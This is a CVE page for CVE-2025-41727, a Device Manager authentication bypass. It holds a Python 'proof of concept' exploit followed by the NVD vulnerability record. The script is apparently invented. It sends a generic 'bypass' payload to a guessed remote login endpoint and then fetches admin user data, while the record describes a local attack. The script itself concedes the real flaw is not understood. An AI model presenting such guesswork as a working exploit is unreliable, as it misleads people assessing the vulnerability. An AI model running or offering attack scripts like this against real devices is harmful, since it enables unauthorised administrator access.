CVE-2025-41727

# CVE-2025-41727 PoC - Device Manager Authentication Bypass # Note: This is a conceptual PoC for educational purposes only import requests import sys def exploit_device_manager(target_ip, target_port=443): """ Device Manager Authentication Bypass PoC This PoC demonstrates the authentication bypass vulnerability in Device Manager UI. The actual exploitation requires understanding the specific authentication mechanism flaw. """ base_url = f"https://{target_ip}:{target_port}" # Step 1: Identify the Device Manager login endpoint login_endpoint = f"{base_url}/api/auth/login" # Step 2: Attempt authentication bypass # The vulnerability allows bypassing authentication bypass_payload = { "username": "admin", "password": "", # Empty password or special payload "bypass": True # Exploiting the auth bypass flaw } try: # Attempt to bypass authentication response = requests.post(login_endpoint, json=bypass_payload, verify=False, timeout=10) if response.status_code == 200: data = response.json() if 'token' in data or 'session' in data: print(f"[!] Authentication bypass successful!") print(f"[*] Obtained session token: {data.get('token', data.get('session'))}") # Step 3: Use the obtained token for privileged operations token = data.get('token', data.get('session')) headers = {"Authorization": f"Bearer {token}"} # Attempt to access admin panel admin_endpoint = f"{base_url}/api/admin/users" admin_response = requests.get(admin_endpoint, headers=headers, verify=False) if admin_response.status_code == 200: print("[!] Successfully accessed admin panel!") print(f"[*] Admin data: {admin_response.text}") return True print("[-] Exploitation failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 exploit_device_manager(target, port)

{"cve": {"id": "CVE-2025-41727", "sourceIdentifier": "[email protected]", "published": "2026-01-27T12:15:57.573", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A local low privileged attacker can bypass the authentication of the Device Manager user interface, allowing them to perform privileged operations and gain administrator access."}, {"lang": "es", "value": "Un atacante local de bajo privilegio puede eludir la autenticación de la interfaz de usuario del Administrador de dispositivos, permitiéndoles realizar operaciones privilegiadas y obtener acceso de administrador."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-420"}]}], "references": [{"url": "https://certvde.com/de/advisories/VDE-2025-092", "source": "[email protected]"}]}}